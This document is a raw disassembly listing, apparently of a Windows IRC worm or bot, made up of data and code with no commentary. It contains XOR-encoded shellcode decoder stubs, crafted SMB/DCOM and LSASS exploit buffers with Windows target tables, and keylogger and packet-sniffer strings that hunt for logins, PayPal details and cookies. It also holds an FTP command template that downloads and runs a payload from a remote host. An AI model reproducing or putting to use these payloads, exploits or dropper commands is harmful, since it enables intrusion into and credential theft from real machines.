dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_423BB4 dd 38h, 38000000h, 2 dup(0) dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
dword_423BEC dd 28026502h, 62302E31h, 20282029h, 6C79656Bh, 6D2E676Fh
; DATA XREF: seg000:004021C8o
dd 6C1F641Fh, 2202920h, 2002BBBBh, 732520h
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: seg000:004021A2o
align 4
aAb db 'ab',0 ; DATA XREF: seg000:00402168o
; seg000:0040F810o
align 10h
asc_423C30: ; DATA XREF: seg000:00402146o
unicode 0, <\>,0
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: seg000:00402423o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: seg000:004023E0o
align 10h
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: seg000:0040228Ao
align 10h
off_423C80 dd offset dword_4244F8 ; DATA XREF: seg000:0040277Ar
dd offset off_4244F4
dd offset aFtp ; "FTP"
dd offset aHttp ; "HTTP"
dd 6F6C2E3Ah, 6E6967h, 3 dup(0)
dword_423CA4 dd 0 dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: seg002:00423C8Co
align 10h
aFtp db 'FTP',0 ; DATA XREF: seg002:00423C88o
off_4244F4 dd offset aHeloRndnickMai+3Dh ; DATA XREF: seg002:00423C84o
dword_4244F8 dd 544F42h unk_4244FC db 2 ; DATA XREF: seg000:004027D8o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
unk_424544 db 2 ; DATA XREF: seg000:00402787o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
aPsniff db '[PSNIFF]',0 ; DATA XREF: seg000:00402711o
align 4
unk_424598 db 2 ; DATA XREF: seg000:00402662o
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 4
unk_4245E4 db 2 ; DATA XREF: seg000:004025DFo
db 65h, 2, 28h
db 31h ; 1
db 2Eh, 30h, 62h
db 29h ; )
db 20h, 28h, 20h
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 2Eh, 6Dh, 1Fh
db 64h ; d
db 1Fh, 6Ch, 20h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
dword_42462C dd 28026502h, 62302E31h, 20282029h, 66696E73h, 1F6D2E66h
; DATA XREF: seg000:00402561o
dd 206C1F64h, 0BB022029h, 202002BBh, 6F727245h, 73203A72h
dd 656B636Fh, 20292874h, 6C696166h, 202C6465h, 75746572h
dd 64656E72h, 253C203Ah, 2E3E64h, 0
; ---------------------------------------------------------------------------
jmp short loc_42468A
; =============== S U B R O U T I N E =======================================
sub_42467A proc far ; CODE XREF: sub_42467A:loc_42468Ap
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_424682: ; CODE XREF: sub_42467A+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_424682
jmp short loc_42468F
; ---------------------------------------------------------------------------
loc_42468A: ; CODE XREF: seg002:00424678j
call near ptr sub_42467A
loc_42468F: ; CODE XREF: sub_42467A+Ej
jo short loc_4246F3
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_424711
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_4246F3: ; CODE XREF: sub_42467A:loc_42468Fj
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_424711: ; CODE XREF: sub_42467A+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_42467A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_4247B8: ; DATA XREF: sub_402988+150o
; sub_402988+20Do
jmp short loc_4247CA
; =============== S U B R O U T I N E =======================================
sub_4247BA proc near ; CODE XREF: sub_4247BA:loc_4247CAp
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_4247C2: ; CODE XREF: sub_4247BA+Cj
xor byte ptr [edx+ecx], 99h
loop loc_4247C2
jmp short loc_4247CF
; ---------------------------------------------------------------------------
loc_4247CA: ; CODE XREF: seg002:loc_4247B8j
call sub_4247BA
loc_4247CF: ; CODE XREF: sub_4247BA+Ej
jo short near ptr dword_424748+1Eh
cwde
cdq
cdq
retn
sub_4247BA endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_424868 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_402988+101o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_424950 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_402DDD+7Fo
dd 0FEFF0000h, 0
dd 2006200h
aPcNetworkProgr db 'PC NETWORK PROGRAM 1.0',0
db 2
db 4Ch ; L
db 41h, 4Eh, 4Dh
db 41h ; A
db 4Eh, 31h, 2Eh
db 30h ; 0
align 2
dw 5702h
aIndowsForWorkg db 'indows for Workgroups 3.1a',0
db 2
dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4249DC dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+AAo
dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0
dd 20000000h, 0
dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h
dd 4 dup(0)
aWindows2000219:
unicode 0, <Windows 2000 2195>,0
aWindows20005_0:
unicode 0, <Windows 2000 5.0>,0
align 8
dword_424A88 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402DDD+CFo
dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0
dd 57000000h, 0
dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h
dd 0
dd 47000000h, 0
dd 40000000h, 0
dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h
dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah
dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h
dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h
dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h
dd 2E0035h, 30h, 0
dword_424B68 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+57o
dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch
dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h
dd 5C0030h, 500049h
aC: ; DATA XREF: sub_402988+86o
unicode 0, <C$>,0
a????? db '?????',0
dd 0
dword_424BCC dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2B0o
dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0
dd 2019Fh, 3 dup(0)
dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h
dd 0
dword_424C38 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+2DBo
dd 4DC0800h, 500800h, 48000010h, 0
dd 4, 2 dup(0)
dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h
dd 5C0045h, 0
dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0
dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh
dd 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_424CDC dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+3C3o
dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0)
dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h
dd 5C0045h, 0
dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0
dd 3ECh, 0
off_424D5C dd offset loc_401495 ; DATA XREF: sub_402988+3F1o
dd 3, 40707Ch, 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd offset dword_406DE4+298h
dd 1, 0
dd 1, 0
dd 138578h, 0E9A65BABh, 0
dword_424DF0 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+314o
dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h
dd 8FFFFFFh, 10B800h, 4010B800h, 0
dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h
dd 0DADh, 0
dd 0DADh, 0
dword_424E5C dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0)
; DATA XREF: sub_402988+33Fo
dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0)
dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h
dd 5C0045h, 0
dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0
dword_424ED0 dd 0 dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 0
dd offset loc_40A899+1
dd 1, 0
dd 1, 2 dup(0)
word_424F58 dw 0AD9Dh ; DATA XREF: sub_40283D+30r
; sub_402988+E3r
align 4
dd 2 dup(0)
aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0
align 8
dword_424F98 dd 1004600h ; sub_402988+240r
dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h
dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h
dd 6C6C642Eh, 2 dup(0)
dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h
dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h
dd 70617274h, 6C6C642Eh, 2 dup(0)
dd 751C123Ch, 0Fh dup(0)
dword_425050 dd 0A0D7325h, 0 ; sub_4036EB+102o ...
aEchoOpenSDEqEc db 'echo open %s %d >> eq&echo user %s %s >> eq &echo get %s >> eq &e'
; DATA XREF: sub_40283D+A4o
db 'cho quit >> eq &ftp -n -s:eq &%s',0Dh,0Ah,0
; ---------------------------------------------------------------------------
loc_4250BC: ; DATA XREF: sub_402988+171o
; sub_40384C+177o
jmp short loc_4250C4
; ---------------------------------------------------------------------------
jmp short loc_4250C6
; ---------------------------------------------------------------------------
dd 0
; ---------------------------------------------------------------------------
loc_4250C4: ; CODE XREF: seg002:loc_4250BCj
; DATA XREF: sub_402988+27o ...
pop esp
pop esp
loc_4250C6: ; CODE XREF: seg002:004250BEj
and eax, 70695C73h
arpl [eax+eax], sp
; ---------------------------------------------------------------------------
dw 0
dword_4250D0 dd 1CEC8166h ; sub_40384C+Dr
dword_4250D4 dd 0E4FF07h ; sub_40384C+16r
dword_4250D8 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; sub_4033CB+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_425124 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_403178+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
dd 0D5E70h, 2, 0D5E7Ch, 0
dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch
dd 4252414Dh, 1, 0
dd 0BAADF00Dh, 0
dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0
dd 0C0h, 46000000h, 338h, 0
dd 0C0h, 46000000h, 0
dd 330h, 328h, 0
dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0
dd 2, 7, 4 dup(0)
dd 0CD28C4h, 0CD2964h, 0
dd 7, 1B9h, 0
dd 0C0h, 46000000h, 1ABh, 0
dd 0C0h, 46000000h, 1A5h, 0
dd 0C0h, 46000000h, 1A6h, 0
dd 0C0h, 46000000h, 1A4h, 0
dd 0C0h, 46000000h, 1ADh, 0
dd 0C0h, 46000000h, 1AAh, 0
dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h
dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0)
dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0
dd 0C0h, 46000000h, 10h, 2 dup(0)
dd 1, 0
dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h
dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh
dd 4 dup(0)
dd 144318h, 0
dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0
dd 0C0h, 46000000h, 33Bh, 0
dd 0C0h, 46000000h, 0
dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h
dd 2, 5 dup(0)
dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0
dd 0DDAD8h, 2 dup(0)
dd 0C2F20h, 2 dup(0)
dd 3, 0
dd 3, 580046h, 0
dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0)
dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0)
dword_425488 dd 20h, 0 dd 20h, 5C005Ch, 0
off_42549C dd offset aEage ; DATA XREF: sub_403178+15Do
; "eage"
a12345611111111:
unicode 0, <$\123456111111111111111.doc>,0
dd 0
dword_4254DC dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0)
aFxnbfxfxnbfxfx: ; DATA XREF: sub_403178+45o
unicode 0, <FXNBFXFXNBFXFXFXFX>
dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0
aRrrrrrrrrrrrrr db ''
db ''
db '',0
dword_4255EC dd 18759Fh dword_4255F0 dd 100139Dh asc_4255F4: ; DATA XREF: sub_402FDD+1Co
; sub_4030C0+16o
unicode 0, <\\>,0
align 4
aIpc: ; DATA XREF: sub_402FDD+Co
; sub_4030C0+Bo
unicode 0, <\IPC$>,0
aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: sub_4033CB+41o
align 10h
jmp short loc_425632
; =============== S U B R O U T I N E =======================================
sub_425622 proc far ; CODE XREF: sub_425622:loc_425632p
pop ebx
dec ebx
xor ecx, ecx
mov cx, 125h
loc_42562A: ; CODE XREF: sub_425622+Cj
xor byte ptr [ebx+ecx], 99h
loop loc_42562A
jmp short loc_425637
; ---------------------------------------------------------------------------
loc_425632: ; CODE XREF: seg002:00425620j
call near ptr sub_425622
loc_425637: ; CODE XREF: sub_425622+Ej
jo short loc_42569B
cdq
cdq
cdq
mov ch, 38h
test eax, 12999999h
fst dword ptr [ebp+3485E912h]
adc dh, cl
xchg eax, ecx
adc ch, [esi-0Dh]
popf
sal byte ptr [ecx+2], 99h
cdq
cdq
jnp short loc_4256B9
icebp
stosb
stosd
cdq
cdq
icebp
out dx, al
jmp far ptr 128Fh:66CDC6ABh
; ---------------------------------------------------------------------------
db 71h
dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh
dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h
dd 0F1989999h, 4B9D999Bh
; ---------------------------------------------------------------------------
adc dl, [ebp-0Dh]
loc_42569B: ; CODE XREF: sub_425622:loc_425637j
mov eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h
dd 7B32C08Ch
db 64h
; ---------------------------------------------------------------------------
loc_4256B9: ; CODE XREF: sub_425622+35j
pop edi
fnstsw word ptr [ebp-22982277h]
mov ebp, 0BDC510A4h
rcl dword ptr [eax], 1
lds edi, [ebp-423AEF2Bh]
leave
adc al, 0DDh
mov ebp, 0C8C9CD89h
enter 0FFFFF3C8h, 98h
enter 66C8h, 0EFh
test eax, 9DCF66C8h
adc dl, [ebp-0Dh]
db 66h, 66h
test al, 66h
iret
sub_425622 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
xchg eax, ecx
retf 0CF66h
; ---------------------------------------------------------------------------
dw 6685h
dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h
dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h
dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h
dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h
dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h
dd 0F9336075h, 0E05FE07Eh, 0
; ---------------------------------------------------------------------------
loc_425760: ; DATA XREF: sub_40384C+156o
; sub_40384C+212o
jmp short loc_425772
; =============== S U B R O U T I N E =======================================
sub_425762 proc near ; CODE XREF: sub_425762:loc_425772p
pop edx
dec edx
xor ecx, ecx
mov cx, 17Dh
loc_42576A: ; CODE XREF: sub_425762+Cj
xor byte ptr [edx+ecx], 99h
loop loc_42576A
jmp short loc_425777
; ---------------------------------------------------------------------------
loc_425772: ; CODE XREF: seg002:loc_425760j
call sub_425762
loc_425777: ; CODE XREF: sub_425762+Ej
jo short near ptr dword_4256F0+1Eh
cwde
cdq
cdq
retn
sub_425762 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0FDh, 38h, 0A9h
dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh
dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h
dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh
dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h
dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh
dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h
dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh
dd 999B9E5Eh
dword_425810 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh
; DATA XREF: sub_40384C+105o
dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h
dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h
dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h
dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h
dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h
dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh
dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h
dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h
dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h
dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh
dd 0FAF6EAFCh, 99EDFCF2h, 0
dword_4258F8 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0)
; DATA XREF: sub_403C8B+85o
dd 0FEFF0000h, 0
dd 2006200h
